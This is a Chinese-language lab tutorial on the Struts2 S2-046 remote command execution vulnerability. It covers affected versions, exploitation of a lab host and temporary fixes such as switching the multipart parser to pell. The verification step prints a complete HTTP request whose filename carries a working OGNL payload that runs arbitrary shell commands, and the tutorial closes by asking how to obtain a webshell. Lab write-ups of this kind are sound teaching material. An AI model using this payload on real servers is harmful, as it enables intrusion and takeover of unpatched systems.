【S2-046】Struts2遠程命令執行漏洞(CVE-2017-5638)

據說S2-046漏洞和S2-045漏洞非常相似,都是由報錯信息帶入buildErrorMessage方法造成的, 只是這次存在兩個觸發點哦!危害嘛,你說嘞?S2-046(CVE-2017-5638)中Struts使用的Jakarta解析文件上傳請求包不當,當惡意訪問者使用非常大的Content-Length值,文件名構造惡意OGNL內容,會導致遠程命令執行,引發數據泄露、網頁篡改、植入後門、成為肉雞等安全事件。不過對於已經修復S2-045漏洞的用戶(升級Struts版本為Struts 2.3.31、Struts 2.5.10)就不受此漏洞的影響啦!可是如果你沒有的話,那就…………

漏洞介紹

Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-046。在使用基於Jakarta插件的文件上傳功能時,滿足以下條件,會觸發遠程命令執行漏洞。

1.上傳文件的大小(由Content-Length頭指定)大於Struts2允許的最大大小(2GB)。

2.文件名內容構造惡意的OGNL內容。

本次S2-046漏洞遠程命令執行漏洞需滿足以上條件,而S2-045的漏洞只需要Content-Type一個點就可以進行遠程命令執行。

對於已經修復S2-045漏洞的用戶(升級Struts版本為Struts 2.3.31、Struts 2.5.10)不受此漏洞影響。

影響範圍

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

不受影響的版本

Struts 2.3.32Struts 2.5.10.1

漏洞危害

在default.properties文件中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell。其中的jakarta解析器是Struts 2框架的標準組成部分。默認情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。

惡意訪問者可通過遠程命令注入執行,令系統執行惡意命令,導致被惡意利用,從而威脅伺服器安全,影響極大。

實驗步驟

步驟1:驗證漏洞

打開目標網站:http://172.16.12.2/

發現跳轉鏈接到http://172.16.12.2/example/HelloWorld.action

工具使用方式:

poc.sh腳本添加執行許可權:

chmod 777 poc.sh

驗證漏洞:

./poc.sh http://172.16.12.2/example/HelloWorld.action "ifconfig"

實際發送的HTTP請求包如下:

POST /example/HelloWorld.action HTTP/1.1 n Host: 172.16.12.2 n Connection: close n Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150n Content-Length: 5000 n n -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="foo"; filename="%{(#nike=multipart/form-data).n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):n((#container=#context[com.opensymphony.xwork2.ActionContext.container]).n(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).n(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).n(#context.setMemberAccess(#dm)))).(#cmd=ifconfig).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).n(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).n(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b" nContent-Type: text/plain n x n -----------------------------735323031399963166993862150--n

可以看到Content-Length設置的值非常大,而且在上傳的filename欄位中存在OGNL遠程命令執行語句。

執行效果:

成功執行了ifconfig命令,返回了172.16.12.2目標機的網卡配置信息

步驟2:臨時修復方案一

修改struts2的Multipart parser

使用ssh連接工具連接目標機172.16.12.2,用戶名root,密碼123456

連接ssh後,執行系統命令:

cd /var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/

進入該目錄下後執行以下命令(使用python的簡易WEB伺服器,來傳輸文件):

python -m SimpleHTTPServer 8080

將文件struts2-core-2.3.31.jar下載到本地

修改其中的default.properties文件

找到struts.multipart.parser,該選項就是struts2的Multipart parser應用配置,默認值為jakarta,即此次出現命令執行漏洞的上傳框架。

將其修改為pell,相當於將存在漏洞的jakarta框架禁用了。

修改後值struts.multipart.parser=pell

替換jar文件

/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/路徑下的struts2-core-2.3.31.jar移動到根目錄/,將我們修改配置後重新打包的jar文件放到該目錄下。

重啟tomcat

替換文件後需要重啟tomcat服務,切換到/var/www/apache-tomcat-7.0.14/bin/目錄下,首先執行./shutdown.sh,然後執行./startup.sh

重啟tomcat服務會有5秒左右的延時

驗證漏洞

poc程序已經無法成功利用了。

步驟3:臨時修復方案二

如業務系統比較複雜,以上臨時修復方案不能使用時,且無法輕易的升級struts的版本時,可以使用知道創宇的創宇盾來攔截網路的攻擊流量。

思考

根據poc代碼,思考如何去拿到網站的WebShell?

實驗場景鏈接:

Struts2新漏洞S2-046在線實驗環境


推薦閱讀:

struts2和springmvc區別?
JpaDaoSupport的用法是怎麼樣的?

TAG:Struts2 | 安全漏洞 | 信息技术IT |